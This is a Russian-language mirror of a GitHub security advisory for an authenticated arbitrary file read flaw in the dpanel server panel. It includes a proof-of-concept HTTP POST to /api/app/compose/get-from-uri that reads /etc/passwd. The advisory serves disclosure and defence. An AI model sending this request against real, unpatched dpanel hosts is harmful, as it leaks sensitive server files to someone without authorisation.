Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-gcqf-pxgg-gw8q

Опубликовано: 22 авг. 2025
Источник: github
Github: Прошло ревью
CVSS4: 4.8

Описание

Dpanel has an arbitrary file read vulnerability

Summary

Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.

Details

When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling. image-20250702004157585 image-20250702004223184

PoC

POST /api/app/compose/get-from-uri HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: Bearer eyJ......lWg== Connection: close Content-Type: application/json Content-Length: 21 {"uri":"/etc/passwd"}

Impact

This vulnerability could lead to the leakage of sensitive server file information. In versions from 1.2.0 up to the latest (1.7.2), logged-in users can make requests to this interface.

Пакеты

Наименование

github.com/donknap/dpanel

go
Затронутые версииВерсия исправления

>= 1.2.0, <= 1.7.2

Отсутствует

EPSS

Процентиль: 24%
0.00084
Низкий

4.8 Medium

CVSS4

Дефекты

CWE-22
CWE-73

Связанные уязвимости

nvd
6 месяцев назад

dpanel is an open source server management panel written in Go. In versions 1.2.0 through 1.7.2, dpanel allows authenticated users to read arbitrary files from the server via the /api/app/compose/get-from-uri API endpoint. The vulnerability exists in the GetFromUri function in app/application/http/controller/compose.go, where the uri parameter is passed directly to os.ReadFile without proper validation or access control. A logged-in attacker can exploit this flaw to read sensitive files from the host system, leading to information disclosure. No patched version is available as of this writing.

EPSS

Процентиль: 24%
0.00084
Низкий

4.8 Medium

CVSS4

Дефекты

CWE-22
CWE-73